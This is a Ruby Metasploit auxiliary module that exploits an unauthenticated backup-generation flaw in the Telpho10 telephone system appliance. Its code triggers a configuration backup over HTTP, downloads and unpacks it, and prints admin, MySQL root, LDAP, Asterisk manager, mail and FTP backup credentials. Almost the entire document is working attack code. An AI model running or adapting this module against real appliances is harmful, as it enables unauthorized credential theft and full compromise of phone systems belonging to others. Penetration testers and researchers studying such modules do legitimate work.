Telpho10 Backup Credentials Dumper

`##  
# This module requires Metasploit: https://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
class MetasploitModule < Msf::Auxiliary  
include Msf::Auxiliary::Report  
include Msf::Exploit::Remote::HttpClient  
  
def initialize(info = {})  
super(  
update_info(  
info,  
'Name' => 'Telpho10 Backup Credentials Dumper',  
'Description' => %q{  
This module exploits a vulnerability present in all versions of Telpho10 telephone system  
appliance. This module generates a configuration backup of Telpho10,  
downloads the file and dumps the credentials for admin login,  
phpmyadmin, phpldapadmin, etc.  
This module has been successfully tested on the appliance versions 2.6.31 and 2.6.39.  
},  
'Author' => 'Jan Rude', # Vulnerability Discovery and Metasploit Module  
'License' => MSF_LICENSE,  
'References' => ['URL', 'https://github.com/whoot/TelpOWN'],  
'Platform' => 'linux',  
'Privileged' => false,  
'DisclosureDate' => '2016-09-02'  
)  
)  
  
register_options(  
[  
Opt::RPORT(80)  
]  
)  
end  
  
# Used for unpacking backup files  
def untar(tarfile)  
destination = tarfile.split('.tar').first  
FileUtils.mkdir_p(destination)  
File.open(tarfile, 'rb') do |file|  
Rex::Tar::Reader.new(file) do |tar|  
tar.each do |entry|  
dest = File.join(destination, File.basename(entry.full_name))  
next unless entry.file?  
  
File.open(dest, 'wb') do |f|  
f.write(entry.read)  
end  
File.chmod(entry.header.mode, dest)  
end  
end  
end  
return destination  
end  
  
# search for credentials in backup file  
def dump_creds(mysql_file)  
file = File.new(mysql_file, 'r')  
while (line = file.gets)  
if line.include? 'adminusername'  
config = [line]  
end  
end  
file.close  
  
print_status('Login (/telpho/login.php)')  
print_status('-------------------------')  
print_good("Username: #{config.first[/adminusername','(.*?)'/, 1]}")  
print_good("Password: #{config.first[/adminpassword','(.*?)'/, 1]}\n")  
  
print_status('MySQL (/phpmyadmin)')  
print_status('-------------------')  
print_good('Username: root')  
print_good("Password: #{config.first[/dbpassword','(.*?)'/, 1]}\n")  
  
print_status('LDAP (/phpldapadmin)')  
print_status('--------------------')  
print_good('Username: cn=admin,dc=localdomain')  
print_good("Password: #{config.first[/ldappassword','(.*?)'/, 1]}\n")  
  
print_status('Asterisk MI (port 5038)')  
print_status('-----------------------')  
print_good("Username: #{config.first[/manageruser','(.*?)'/, 1]}")  
print_good("Password: #{config.first[/managersecret','(.*?)'/, 1]}\n")  
  
print_status('Mail configuration')  
print_status('------------------')  
print_good("Mailserver: #{config.first[/ipsmarthost','(.*?)'/, 1]}")  
print_good("Username: #{config.first[/mailusername','(.*?)'/, 1]}")  
print_good("Password: #{config.first[/mailpassword','(.*?)'/, 1]}")  
print_good("Mail from: #{config.first[/mailfrom','(.*?)'/, 1]}\n")  
  
print_status('Online Backup')  
print_status('-------------')  
print_good("ID: #{config.first[/ftpbackupid','(.*?)'/, 1]}")  
print_good("Password: #{config.first[/ftpbackuppw','(.*?)'/, 1]}\n")  
end  
  
def run  
res = send_request_cgi({  
'uri' => '/telpho/system/backup.php',  
'method' => 'GET'  
})  
if res && res.code == 200  
print_status('Generating backup')  
sleep(1)  
else  
print_error('Could not find vulnerable script. Aborting.')  
return nil  
end  
  
print_status('Downloading backup')  
res = send_request_cgi({  
'uri' => '/telpho/temp/telpho10.epb',  
'method' => 'GET'  
})  
if res && res.code == 200  
if res.body.to_s.bytesize == 0  
print_error('0 bytes returned, file does not exist or is empty.')  
return nil  
end  
  
path = store_loot(  
'telpho10.backup',  
'application/x-compressed',  
datastore['RHOST'],  
res.body,  
'backup.tar'  
)  
print_good("File saved in: #{path}")  
  
begin  
extracted = untar(path.to_s)  
mysql = untar("#{extracted}/mysql.tar")  
rescue StandardError  
print_error('Could not unpack files.')  
return nil  
end  
begin  
print_status("Dumping credentials\n")  
dump_creds("#{mysql}/mysql.epb")  
rescue StandardError  
print_error('Could not find credential file.')  
return nil  
end  
else  
print_error('Failed to download backup file.')  
return nil  
end  
rescue ::Rex::ConnectionError  
print_error("#{rhost}:#{rport} - Failed to connect")  
return nil  
end  
end  
`